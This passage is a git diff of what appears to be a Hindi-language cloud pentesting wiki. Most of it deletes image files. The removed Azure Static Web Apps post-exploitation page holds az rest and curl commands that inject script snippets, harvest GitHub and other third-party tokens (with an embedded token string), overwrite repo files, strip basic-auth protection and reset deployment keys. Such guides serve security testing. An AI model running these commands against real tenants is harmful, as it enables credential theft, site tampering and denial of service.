Binary files a/src/images/image (66).png and /dev/null differ diff --git a/src/images/image (67).png b/src/images/image (67).png deleted file mode 100644 index 603c2135d..000000000 Binary files a/src/images/image (67).png and /dev/null differ diff --git a/src/images/image (68).png b/src/images/image (68).png deleted file mode 100644 index 67c7b2f01..000000000 Binary files a/src/images/image (68).png and /dev/null differ diff --git a/src/images/image (69).png b/src/images/image (69).png deleted file mode 100644 index 70a011106..000000000 Binary files a/src/images/image (69).png and /dev/null differ diff --git a/src/images/image (7) (1) (1) (1).png b/src/images/image (7) (1) (1) (1).png deleted file mode 100644 index 8dece9113..000000000 Binary files a/src/images/image (7) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (7) (1) (1) (2).png b/src/images/image (7) (1) (1) (2).png deleted file mode 100644 index 34fda8b40..000000000 Binary files a/src/images/image (7) (1) (1) (2).png and /dev/null differ diff --git a/src/images/image (7) (1) (1).png b/src/images/image (7) (1) (1).png deleted file mode 100644 index aaec7c056..000000000 Binary files a/src/images/image (7) (1) (1).png and /dev/null differ diff --git a/src/images/image (7) (1) (2) (1).png b/src/images/image (7) (1) (2) (1).png deleted file mode 100644 index 987ff45c2..000000000 Binary files a/src/images/image (7) (1) (2) (1).png and /dev/null differ diff --git a/src/images/image (7) (1) (2).png b/src/images/image (7) (1) (2).png deleted file mode 100644 index c9a6e22db..000000000 Binary files a/src/images/image (7) (1) (2).png and /dev/null differ diff --git a/src/images/image (7) (1).png b/src/images/image (7) (1).png deleted file mode 100644 index c08e410cf..000000000 Binary files a/src/images/image (7) (1).png and /dev/null differ diff --git a/src/images/image (7) (2).png b/src/images/image (7) (2).png deleted file mode 100644 index 9e0e60398..000000000 Binary files a/src/images/image (7) (2).png and /dev/null differ diff --git a/src/images/image (70).png b/src/images/image (70).png deleted file mode 100644 index e926bb057..000000000 Binary files a/src/images/image (70).png and /dev/null differ diff --git a/src/images/image (71).png b/src/images/image (71).png deleted file mode 100644 index 3c8637485..000000000 Binary files a/src/images/image (71).png and /dev/null differ diff --git a/src/images/image (72).png b/src/images/image (72).png deleted file mode 100644 index 9c56df1fd..000000000 Binary files a/src/images/image (72).png and /dev/null differ diff --git a/src/images/image (73).png b/src/images/image (73).png deleted file mode 100644 index 86d66972e..000000000 Binary files a/src/images/image (73).png and /dev/null differ diff --git a/src/images/image (74).png b/src/images/image (74).png deleted file mode 100644 index ec568a4fa..000000000 Binary files a/src/images/image (74).png and /dev/null differ diff --git a/src/images/image (75).png b/src/images/image (75).png deleted file mode 100644 index 61b0f9004..000000000 Binary files a/src/images/image (75).png and /dev/null differ diff --git a/src/images/image (8) (1) (1) (1) (1) (1).png b/src/images/image (8) (1) (1) (1) (1) (1).png deleted file mode 100644 index f1071d8a6..000000000 Binary files a/src/images/image (8) (1) (1) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (8) (1) (1) (1) (1).png b/src/images/image (8) (1) (1) (1) (1).png deleted file mode 100644 index c57fa4d22..000000000 Binary files a/src/images/image (8) (1) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (8) (1) (1) (1).png b/src/images/image (8) (1) (1) (1).png deleted file mode 100644 index 04471fecb..000000000 Binary files a/src/images/image (8) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (8) (1) (1).png b/src/images/image (8) (1) (1).png deleted file mode 100644 index 603c2135d..000000000 Binary files a/src/images/image (8) (1) (1).png and /dev/null differ diff --git a/src/images/image (8) (1).png b/src/images/image (8) (1).png deleted file mode 100644 index 7f9833bf8..000000000 Binary files a/src/images/image (8) (1).png and /dev/null differ diff --git a/src/images/image (8) (2).png b/src/images/image (8) (2).png deleted file mode 100644 index ccbac226e..000000000 Binary files a/src/images/image (8) (2).png and /dev/null differ diff --git a/src/images/image (8) (3).png b/src/images/image (8) (3).png deleted file mode 100644 index 1279948e3..000000000 Binary files a/src/images/image (8) (3).png and /dev/null differ diff --git a/src/images/image (80).png b/src/images/image (80).png deleted file mode 100644 index 6afb7de00..000000000 Binary files a/src/images/image (80).png and /dev/null differ diff --git a/src/images/image (83) (1).png b/src/images/image (83) (1).png deleted file mode 100644 index cf7f43578..000000000 Binary files a/src/images/image (83) (1).png and /dev/null differ diff --git a/src/images/image (84).png b/src/images/image (84).png deleted file mode 100644 index 8e8c8e143..000000000 Binary files a/src/images/image (84).png and /dev/null differ diff --git a/src/images/image (85) (1).png b/src/images/image (85) (1).png deleted file mode 100644 index 4a7a7bbec..000000000 Binary files a/src/images/image (85) (1).png and /dev/null differ diff --git a/src/images/image (85).png b/src/images/image (85).png deleted file mode 100644 index 4b102f3b3..000000000 Binary files a/src/images/image (85).png and /dev/null differ diff --git a/src/images/image (87) (1).png b/src/images/image (87) (1).png deleted file mode 100644 index 8ee408d4f..000000000 Binary files a/src/images/image (87) (1).png and /dev/null differ diff --git a/src/images/image (87).png b/src/images/image (87).png deleted file mode 100644 index 72803d6a2..000000000 Binary files a/src/images/image (87).png and /dev/null differ diff --git a/src/images/image (89) (1).png b/src/images/image (89) (1).png deleted file mode 100644 index 05d5e97a9..000000000 Binary files a/src/images/image (89) (1).png and /dev/null differ diff --git a/src/images/image (9) (1) (1) (1) (1).png b/src/images/image (9) (1) (1) (1) (1).png deleted file mode 100644 index c933d4692..000000000 Binary files a/src/images/image (9) (1) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (9) (1) (1) (1).png b/src/images/image (9) (1) (1) (1).png deleted file mode 100644 index b9ba83cc0..000000000 Binary files a/src/images/image (9) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (9) (1) (1).png b/src/images/image (9) (1) (1).png deleted file mode 100644 index 67c7b2f01..000000000 Binary files a/src/images/image (9) (1) (1).png and /dev/null differ diff --git a/src/images/image (9) (1).png b/src/images/image (9) (1).png deleted file mode 100644 index 7593f6f36..000000000 Binary files a/src/images/image (9) (1).png and /dev/null differ diff --git a/src/images/image (9) (2).png b/src/images/image (9) (2).png deleted file mode 100644 index 03ad3a91f..000000000 Binary files a/src/images/image (9) (2).png and /dev/null differ diff --git a/src/images/image (9).png b/src/images/image (9).png deleted file mode 100644 index 01b5eed6d..000000000 Binary files a/src/images/image (9).png and /dev/null differ diff --git a/src/images/image (90).png b/src/images/image (90).png deleted file mode 100644 index 327adc67b..000000000 Binary files a/src/images/image (90).png and /dev/null differ diff --git a/src/images/image (91).png b/src/images/image (91).png deleted file mode 100644 index 331ec323a..000000000 Binary files a/src/images/image (91).png and /dev/null differ diff --git a/src/images/image (92) (1) (1).png b/src/images/image (92) (1) (1).png deleted file mode 100644 index fb0364e97..000000000 Binary files a/src/images/image (92) (1) (1).png and /dev/null differ diff --git a/src/images/image (92) (1).png b/src/images/image (92) (1).png deleted file mode 100644 index 26d1fff4b..000000000 Binary files a/src/images/image (92) (1).png and /dev/null differ diff --git a/src/images/image (94).png b/src/images/image (94).png deleted file mode 100644 index 5e3da1153..000000000 Binary files a/src/images/image (94).png and /dev/null differ diff --git a/src/images/image (97).png b/src/images/image (97).png deleted file mode 100644 index 242eb34e3..000000000 Binary files a/src/images/image (97).png and /dev/null differ diff --git a/src/images/image (99).png b/src/images/image (99).png deleted file mode 100644 index b4b0305b7..000000000 Binary files a/src/images/image (99).png and /dev/null differ diff --git a/src/images/sponsor_8ksec.png b/src/images/sponsor_8ksec.png deleted file mode 100644 index 1d751216b..000000000 Binary files a/src/images/sponsor_8ksec.png and /dev/null differ diff --git a/src/images/sponsor_hackenproof.jpeg b/src/images/sponsor_hackenproof.jpeg deleted file mode 100644 index a4c6bc6f4..000000000 Binary files a/src/images/sponsor_hackenproof.jpeg and /dev/null differ diff --git a/src/images/sponsor_intigriti.png b/src/images/sponsor_intigriti.png deleted file mode 100644 index b7944f7d8..000000000 Binary files a/src/images/sponsor_intigriti.png and /dev/null differ diff --git a/src/images/sponsor_pentesttools.webp b/src/images/sponsor_pentesttools.webp deleted file mode 100644 index 1b5a0d663..000000000 Binary files a/src/images/sponsor_pentesttools.webp and /dev/null differ diff --git a/src/images/sponsor_rootedcon.png b/src/images/sponsor_rootedcon.png deleted file mode 100644 index cf4e8a20a..000000000 Binary files a/src/images/sponsor_rootedcon.png and /dev/null differ diff --git a/src/images/sponsor_stm.png b/src/images/sponsor_stm.png deleted file mode 100644 index e45c021c8..000000000 Binary files a/src/images/sponsor_stm.png and /dev/null differ diff --git a/src/images/sponsor_trickest.jpeg b/src/images/sponsor_trickest.jpeg deleted file mode 100644 index 92331426b..000000000 Binary files a/src/images/sponsor_trickest.jpeg and /dev/null differ diff --git a/src/images/telegram-cloud-document-4-5875069018120918586.jpg b/src/images/telegram-cloud-document-4-5875069018120918586.jpg deleted file mode 100644 index b7f7fc4c7..000000000 Binary files a/src/images/telegram-cloud-document-4-5875069018120918586.jpg and /dev/null differ diff --git a/src/pentesting-cloud/azure-security/az-enumeration-tools.md b/src/pentesting-cloud/azure-security/az-enumeration-tools.md index 49bc091cd..a4c462b7c 100644 --- a/src/pentesting-cloud/azure-security/az-enumeration-tools.md +++ b/src/pentesting-cloud/azure-security/az-enumeration-tools.md @@ -99,15 +99,15 @@ Azure PowerShell AZ मॉड्यूल में कमांड इस प #### Debug | MitM Az PowerShell -**`-Debug`** पैरामीटर का उपयोग करके यह देखना संभव है कि उपकरण सभी अनुरोध भेज रहा है: +पैरामीटर **`-Debug`** का उपयोग करके यह देखना संभव है कि उपकरण सभी अनुरोधों को भेज रहा है: ```bash Get-AzResourceGroup -Debug ``` -**MitM** करने और **सभी अनुरोधों** की मैन्युअल जांच करने के लिए, आप env वेरिएबल्स `HTTPS_PROXY` और `HTTP_PROXY` को [**docs**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy) के अनुसार सेट कर सकते हैं। +**MitM** करने और **सभी अनुरोधों** की मैन्युअल जांच करने के लिए, आप पर्यावरण चर `HTTPS_PROXY` और `HTTP_PROXY` को [**docs**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy) के अनुसार सेट कर सकते हैं। ### Microsoft Graph PowerShell -Microsoft Graph PowerShell एक क्रॉस-प्लेटफ़ॉर्म SDK है जो सभी Microsoft Graph APIs, जैसे SharePoint, Exchange, और Outlook, तक पहुँचने की अनुमति देता है, एकल एंडपॉइंट का उपयोग करके। यह PowerShell 7+, MSAL के माध्यम से आधुनिक प्रमाणीकरण, बाहरी पहचान, और उन्नत क्वेरी का समर्थन करता है। न्यूनतम विशेषाधिकार पहुँच पर ध्यान केंद्रित करते हुए, यह सुरक्षित संचालन सुनिश्चित करता है और नवीनतम Microsoft Graph API सुविधाओं के साथ संरेखित करने के लिए नियमित अपडेट प्राप्त करता है। +Microsoft Graph PowerShell एक क्रॉस-प्लेटफ़ॉर्म SDK है जो सभी Microsoft Graph APIs, जैसे SharePoint, Exchange, और Outlook, तक पहुँचने की अनुमति देता है, एकल एंडपॉइंट का उपयोग करके। यह PowerShell 7+, MSAL के माध्यम से आधुनिक प्रमाणीकरण, बाहरी पहचान, और उन्नत प्रश्नों का समर्थन करता है। न्यूनतम विशेषाधिकार पहुँच पर ध्यान केंद्रित करते हुए, यह सुरक्षित संचालन सुनिश्चित करता है और नवीनतम Microsoft Graph API सुविधाओं के साथ संरेखित करने के लिए नियमित अपडेट प्राप्त करता है। [**installation instructions**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation) के लिए इस लिंक का पालन करें। @@ -126,4 +126,6 @@ Azure Active Directory (AD) मॉड्यूल, जो अब **deprecated** > [!TIP] > इसे Microsoft Graph PowerShell द्वारा प्रतिस्थापित किया गया है -इस लिंक का पालन करें [**installation instructions**](https://www.powershellgallery.com/packages/AzureAD). +इस लिंक पर [**स्थापना निर्देश**](https://www.powershellgallery.com/packages/AzureAD) के लिए जाएं। + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-static-web-apps-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-static-web-apps-post-exploitation.md deleted file mode 100644 index bfb4072c6..000000000 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-static-web-apps-post-exploitation.md +++ /dev/null @@ -1,162 +0,0 @@ -# Az - Static Web Apps Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## Azure Static Web Apps - -इस सेवा के बारे में अधिक जानकारी के लिए देखें: - -{{#ref}} -../az-services/az-static-web-apps.md -{{#endref}} - -### Microsoft.Web/staticSites/snippets/write - -एक स्निप्पेट बनाकर एक स्थिर वेब पृष्ठ को मनमाने HTML कोड को लोड करना संभव है। इससे एक हमलावर को वेब ऐप के अंदर JS कोड इंजेक्ट करने और संवेदनशील जानकारी जैसे क्रेडेंशियल या म्नेमोनिक कुंजी (वेब3 वॉलेट में) चुराने की अनुमति मिल सकती है। - -निम्नलिखित कमांड एक स्निप्पेट बनाएगी जो हमेशा वेब ऐप द्वारा लोड की जाएगी:: -```bash -az rest \ ---method PUT \ ---uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//snippets/?api-version=2022-03-01" \ ---headers "Content-Type=application/json" \ ---body '{ -"properties": { -"name": "supersnippet", -"location": "Body", -"applicableEnvironmentsMode": "AllEnvironments", -"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K", -"environments": [], -"insertBottom": false -} -}' -``` -### कॉन्फ़िगर की गई तीसरी पार्टी क्रेडेंशियल्स पढ़ें - -जैसा कि ऐप सेवा अनुभाग में समझाया गया है: - -{{#ref}} -../az-privilege-escalation/az-app-services-privesc.md -{{#endref}} - -निम्नलिखित कमांड चलाकर **तीसरी पार्टी क्रेडेंशियल्स** पढ़ना संभव है जो वर्तमान खाते में कॉन्फ़िगर की गई हैं। ध्यान दें कि यदि उदाहरण के लिए कुछ Github क्रेडेंशियल्स किसी अन्य उपयोगकर्ता में कॉन्फ़िगर किए गए हैं, तो आप किसी अन्य से टोकन तक पहुँच नहीं पाएंगे। -```bash -az rest --method GET \ ---url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01" -``` -यह कमांड Github, Bitbucket, Dropbox और OneDrive के लिए टोकन लौटाता है। - -यहाँ टोकन की जांच करने के लिए कुछ कमांड उदाहरण दिए गए हैं: -```bash -# GitHub – List Repositories -curl -H "Authorization: token " \ --H "Accept: application/vnd.github.v3+json" \ -https://api.github.com/user/repos - -# Bitbucket – List Repositories -curl -H "Authorization: Bearer " \ --H "Accept: application/json" \ -https://api.bitbucket.org/2.0/repositories - -# Dropbox – List Files in Root Folder -curl -X POST https://api.dropboxapi.com/2/files/list_folder \ --H "Authorization: Bearer " \ --H "Content-Type: application/json" \ ---data '{"path": ""}' - -# OneDrive – List Files in Root Folder -curl -H "Authorization: Bearer " \ --H "Accept: application/json" \ -https://graph.microsoft.com/v1.0/me/drive/root/children -``` -### Overwrite file - Overwrite routes, HTML, JS... - -यह संभव है कि **Github repo** के अंदर एक फ़ाइल को **overwritte** किया जाए जिसमें ऐप हो, Azure के माध्यम से **Github token** का उपयोग करके एक अनुरोध भेजकर जैसे कि निम्नलिखित, जो फ़ाइल के पथ, फ़ाइल की सामग्री और कमिट संदेश को इंगित करेगा। - -इसका दुरुपयोग हमलावरों द्वारा किया जा सकता है ताकि वे मूल रूप से **वेब ऐप की सामग्री को बदल सकें** ताकि दुर्भावनापूर्ण सामग्री (क्रेडेंशियल्स, म्नेमोनिक कीज़ चुराना...) प्रदान की जा सके या बस **कुछ पथों को** अपने सर्वरों पर पुनः मार्गित करने के लिए `staticwebapp.config.json` फ़ाइल को ओवरराइट करके। - -> [!WARNING] -> ध्यान दें कि यदि कोई हमलावर किसी भी तरह से Github repo को समझौता करने में सफल होता है, तो वे Github से सीधे फ़ाइल को भी ओवरराइट कर सकते हैं। -```bash -curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \ --H "Content-Type: application/json" \ --d '{ -"commit": { -"message": "Update static web app route configuration", -"branchName": "main", -"committer": { -"name": "Azure App Service", -"email": "donotreply@microsoft.com" -}, -"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==", -"filePath": "staticwebapp.config.json", -"message": "Update static web app route configuration", -"repoName": "carlospolop/my-first-static-web-app", -"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4" -}, -"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL" -}' -``` -### Microsoft.Web/staticSites/config/write - -इस अनुमति के साथ, यह **पासवर्ड को संशोधित करना** संभव है जो एक स्थिर वेब ऐप की सुरक्षा करता है या यहां तक कि हर वातावरण को अनलॉक करने के लिए निम्नलिखित अनुरोध भेजना: -```bash -# Change password -az rest --method put \ ---url "/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//config/basicAuth?api-version=2021-03-01" \ ---headers 'Content-Type=application/json' \ ---body '{ -"name": "basicAuth", -"type": "Microsoft.Web/staticSites/basicAuth", -"properties": { -"password": "SuperPassword123.", -"secretUrl": "", -"applicableEnvironmentsMode": "AllEnvironments" -} -}' - -# Remove the need of a password -az rest --method put \ ---url "/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//config/basicAuth?api-version=2021-03-01" \ ---headers 'Content-Type=application/json' \ ---body '{ -"name": "basicAuth", -"type": "Microsoft.Web/staticSites/basicAuth", -"properties": { -"secretUrl": "", -"applicableEnvironmentsMode": "SpecifiedEnvironments", -"secretState": "None" -} -}' -``` -### Microsoft.Web/staticSites/listSecrets/action - -यह अनुमति **API कुंजी तैनाती टोकन** प्राप्त करने की अनुमति देती है जो स्थिर ऐप के लिए है। - -यह टोकन ऐप को तैनात करने की अनुमति देता है। -```bash -az rest --method POST \ ---url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//listSecrets?api-version=2023-01-01" -``` -फिर, एक ऐप को अपडेट करने के लिए आप निम्नलिखित कमांड चला सकते हैं। ध्यान दें कि यह कमांड **कैसे Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) काम करता है** की जांच करके निकाली गई थी, क्योंकि यह वह है जिसे Azure ने डिफ़ॉल्ट रूप से उपयोग करने के लिए सेट किया है। इसलिए चित्र और पैरामीटर भविष्य में बदल सकते हैं। - -1. रेपो डाउनलोड करें [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (या कोई अन्य रेपो जिसे आप तैनात करना चाहते हैं) और `cd react-basic` चलाएँ। -2. उस कोड को बदलें जिसे आप तैनात करना चाहते हैं -3. इसे तैनात करें (याद रखें कि `` बदलना है): -```bash -docker run -it --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN= INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose -``` -### Microsoft.Web/staticSites/write - -इस अनुमति के साथ, **स्टेटिक वेब ऐप के स्रोत को एक अलग Github रिपॉजिटरी में बदलना संभव है**, हालाँकि, इसे स्वचालित रूप से प्रोविजन नहीं किया जाएगा क्योंकि यह आमतौर पर उस टोकन के साथ Github Action से किया जाना चाहिए जिसने क्रिया को अधिकृत किया है, क्योंकि यह टोकन स्वचालित रूप से रिपॉजिटरी के Github सीक्रेट्स के अंदर अपडेट नहीं होता (यह केवल ऐप के निर्माण के समय स्वचालित रूप से जोड़ा जाता है)। -```bash -az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main -``` -### Microsoft.Web/staticSites/resetapikey/action - -इस अनुमति के साथ **स्टेटिक वेब ऐप के API कुंजी को रीसेट करना संभव है** जो संभावित रूप से ऐप को स्वचालित रूप से तैनात करने वाले वर्कफ़्लो को DoS कर सकता है। -```bash -az rest --method POST \ ---url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//resetapikey?api-version=2019-08-01" -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-app-service.md b/src/pentesting-cloud/azure-security/az-services/az-app-service.md deleted file mode 100644 index f9b61aef3..000000000 --- a/src/pentesting-cloud/azure-security/az-services/az-app-service.md +++ /dev/null @@ -1,270 +0,0 @@ -# Az - App Services - -{{#include ../../../banners/hacktricks-training.md}} - -## App Service Basic Information - -Azure App Services डेवलपर्स को **वेब एप्लिकेशन, मोबाइल ऐप बैकएंड, और APIs को बिना किसी रुकावट के बनाने, तैनात करने और स्केल करने** की अनुमति देता है। यह कई प्रोग्रामिंग भाषाओं का समर्थन करता है और कार्यक्षमता और प्रबंधन के लिए विभिन्न Azure उपकरणों और सेवाओं के साथ एकीकृत होता है। - -प्रत्येक ऐप एक सैंडबॉक्स के अंदर चलता है लेकिन अलगाव App Service योजनाओं पर निर्भर करता है - -- फ्री और शेयर किए गए स्तरों में ऐप साझा VMs पर चलते हैं -- स्टैंडर्ड और प्रीमियम स्तरों में ऐप समर्पित VMs पर चलते हैं - -> [!WARNING] -> ध्यान दें कि **इनमें से कोई भी** अलगाव **अन्य सामान्य** **वेब कमजोरियों** (जैसे फ़ाइल अपलोड या इंजेक्शन) को **रोकता नहीं है**। और यदि एक **प्रबंधन पहचान** का उपयोग किया जाता है, तो यह **उन पर विशेषाधिकार बढ़ाने** में सक्षम हो सकता है। - -ऐप्स में कुछ दिलचस्प कॉन्फ़िगरेशन हैं: - -- **हमेशा चालू**: सुनिश्चित करता है कि ऐप हमेशा चल रहा है। यदि सक्षम नहीं किया गया, तो ऐप 20 मिनट की निष्क्रियता के बाद चलना बंद कर देगा और एक अनुरोध प्राप्त होने पर फिर से शुरू होगा। -- यदि आपके पास एक वेबजॉब है जिसे लगातार चलाने की आवश्यकता है, तो यह आवश्यक है क्योंकि यदि ऐप रुक जाता है तो वेबजॉब भी रुक जाएगा। -- **SSH**: यदि सक्षम है, तो पर्याप्त अनुमतियों वाला उपयोगकर्ता SSH का उपयोग करके ऐप से कनेक्ट कर सकता है। -- **डीबगिंग**: यदि सक्षम है, तो पर्याप्त अनुमतियों वाला उपयोगकर्ता ऐप को डीबग कर सकता है। हालाँकि, यह हर 48 घंटे में स्वचालित रूप से अक्षम हो जाता है। -- **वेब ऐप + डेटाबेस**: वेब कंसोल एक ऐप के साथ डेटाबेस बनाने की अनुमति देता है। इस मामले में, उपयोग करने के लिए डेटाबेस का चयन करना संभव है (SQLAzure, PostgreSQL, MySQL, MongoDB) और यह आपको Redis के लिए Azure Cache बनाने की भी अनुमति देता है। -- डेटाबेस और Redis के लिए क्रेडेंशियल्स वाला URL **appsettings** में संग्रहीत किया जाएगा। -- **कंटेनर**: कंटेनर के URL और इसे एक्सेस करने के लिए क्रेडेंशियल्स को इंगित करके ऐप सेवा में एक कंटेनर तैनात करना संभव है। - -## Basic Authentication - -जब एक वेब ऐप (और आमतौर पर एक Azure फ़ंक्शन) बनाया जाता है, तो यह इंगित करना संभव है कि क्या आप बेसिक ऑथेंटिकेशन सक्षम करना चाहते हैं। यह मूल रूप से **SCM और FTP** को एप्लिकेशन के लिए सक्षम करता है ताकि उन तकनीकों का उपयोग करके एप्लिकेशन को तैनात करना संभव हो सके।\ -इसके अलावा, उनके साथ कनेक्ट करने के लिए, Azure एक **API प्रदान करता है जो उपयोगकर्ता नाम, पासवर्ड और URL प्राप्त करने की अनुमति देता है** ताकि SCM और FTP सर्वरों से कनेक्ट किया जा सके। - -आप एक वेब ब्राउज़र का उपयोग करके SCM से कनेक्ट कर सकते हैं `https:///BasicAuth` और वहां सभी फ़ाइलों और तैनातियों की जांच कर सकते हैं। - -### Kudu - -Kudu एक **तैनाती इंजन और Azure App Service और Function Apps के लिए प्रबंधन प्लेटफ़ॉर्म** है, जो Git-आधारित तैनातियों, दूरस्थ डीबगिंग, और वेब एप्लिकेशनों के लिए फ़ाइल प्रबंधन क्षमताएँ प्रदान करता है। यह वेब ऐप के SCM URL के माध्यम से सुलभ है। - -ध्यान दें कि App Services और Function Apps द्वारा उपयोग किए जाने वाले Kudu संस्करण अलग हैं, Function apps का संस्करण बहुत अधिक सीमित है। - -Kudu में आप कुछ दिलचस्प एंडपॉइंट पा सकते हैं: -- `/DebugConsole`: एक कंसोल जो आपको Kudu चलाने वाले वातावरण में कमांड निष्पादित करने की अनुमति देता है। -- ध्यान दें कि इस वातावरण में **मेटाडेटा सेवा तक पहुंच नहीं है** टोकन प्राप्त करने के लिए। -- `/webssh/host`: एक वेब-आधारित SSH क्लाइंट जो आपको उस कंटेनर के अंदर कनेक्ट करने की अनुमति देता है जहां ऐप चल रहा है। -- इस वातावरण में **मेटाडेटा सेवा तक पहुंच है** ताकि असाइन किए गए प्रबंधित पहचानों से टोकन प्राप्त किया जा सके। -- `/Env`: सिस्टम, ऐप सेटिंग्स, env वेरिएबल्स, कनेक्शन स्ट्रिंग्स और HTTP हेडर के बारे में जानकारी प्राप्त करें। -- `/wwwroot/`: वेब ऐप का रूट डायरेक्टरी। आप यहां से सभी फ़ाइलें डाउनलोड कर सकते हैं। - -## Sources - -App Services डिफ़ॉल्ट रूप से कोड को ज़िप फ़ाइल के रूप में अपलोड करने की अनुमति देते हैं, लेकिन यह एक तृतीय पक्ष सेवा से कनेक्ट करने और वहां से कोड प्राप्त करने की भी अनुमति देता है। - -- वर्तमान में समर्थित तृतीय पक्ष स्रोत **Github** और **Bitbucket** हैं। -- आप प्रमाणीकरण टोकन प्राप्त कर सकते हैं `az rest --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"` -- Azure डिफ़ॉल्ट रूप से हर बार कोड अपडेट होने पर ऐप सेवा में कोड तैनात करने के लिए एक **Github Action** सेट करेगा। -- यह वहां से कोड प्राप्त करने के लिए एक **दूरस्थ git रिपॉजिटरी** (उपयोगकर्ता नाम और पासवर्ड के साथ) इंगित करना भी संभव है। -- आप दूरस्थ रिपॉजिटरी के लिए क्रेडेंशियल्स प्राप्त कर सकते हैं `az webapp deployment source show --name --resource-group ` या `az rest --method POST --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"` -- एक **Azure Repository** का उपयोग करना भी संभव है। -- एक **स्थानीय git रिपॉजिटरी** को कॉन्फ़िगर करना भी संभव है। -- आप `az webapp deployment source show --name --resource-group ` के साथ git repo का URL प्राप्त कर सकते हैं और यह ऐप का SCM URL होगा। -- इसे क्लोन करने के लिए आपको SCM क्रेडेंशियल्स की आवश्यकता होगी जिसे आप `az webapp deployment list-publishing-profiles --resource-group -n ` के साथ प्राप्त कर सकते हैं। - -## Webjobs - -Azure WebJobs **Azure App Service वातावरण में चलने वाले बैकग्राउंड कार्य** हैं। वे डेवलपर्स को अपने वेब एप्लिकेशनों के साथ स्क्रिप्ट या प्रोग्राम चलाने की अनुमति देते हैं, जिससे फ़ाइल प्रोसेसिंग, डेटा हैंडलिंग, या अनुसूचित कार्यों जैसे असिंक्रोनस या समय-गहन संचालन को संभालना आसान हो जाता है। -वेब जॉब के 2 प्रकार हैं: -- **निरंतर**: एक लूप में अनिश्चितकाल तक चलता है और इसे तुरंत बनाया जाने पर ट्रिगर किया जाता है। यह उन कार्यों के लिए आदर्श है जिन्हें निरंतर प्रोसेसिंग की आवश्यकता होती है। हालाँकि, यदि ऐप चलना बंद कर देता है क्योंकि हमेशा चालू अक्षम है और इसे पिछले 20 मिनट में कोई अनुरोध नहीं मिला है, तो वेब जॉब भी रुक जाएगा। -- **ट्रिगर किया गया**: मांग पर या एक शेड्यूल के आधार पर चलता है। यह आवधिक कार्यों, जैसे बैच डेटा अपडेट या रखरखाव दिनचर्या के लिए सबसे उपयुक्त है। - -Webjobs हमलावरों के दृष्टिकोण से बहुत दिलचस्प हैं क्योंकि उनका उपयोग **पर्यावरण में कोड निष्पादित करने** और **संलग्न प्रबंधित पहचानों** के लिए विशेषाधिकार बढ़ाने के लिए किया जा सकता है। - -इसके अलावा, यह हमेशा दिलचस्प होता है कि Webjobs द्वारा उत्पन्न **लॉग** की जांच करें क्योंकि वे **संवेदनशील जानकारी** हो सकती हैं। - -### Slots - -Azure App Service Slots का उपयोग **एक ही App Service में एप्लिकेशन के विभिन्न संस्करणों को तैनात करने** के लिए किया जाता है। यह डेवलपर्स को उत्पादन वातावरण में तैनात करने से पहले एक अलग वातावरण में नई सुविधाओं या परिवर्तनों का परीक्षण करने की अनुमति देता है। - -इसके अलावा, एक विशिष्ट स्लॉट के लिए **ट्रैफ़िक का प्रतिशत** रूट करना संभव है, जो **A/B परीक्षण** और बैकडोर उद्देश्यों के लिए उपयोगी है। - -### Azure Function Apps - -बुनियादी रूप से **Azure Function apps Azure App Service का एक उपसमुच्चय** हैं और यदि आप वेब कंसोल पर जाते हैं और सभी ऐप सेवाओं की सूची बनाते हैं या az cli में `az webapp list` निष्पादित करते हैं, तो आप **यहां सूचीबद्ध Function apps को भी देख पाएंगे**। - -वास्तव में, कुछ **सुरक्षा से संबंधित 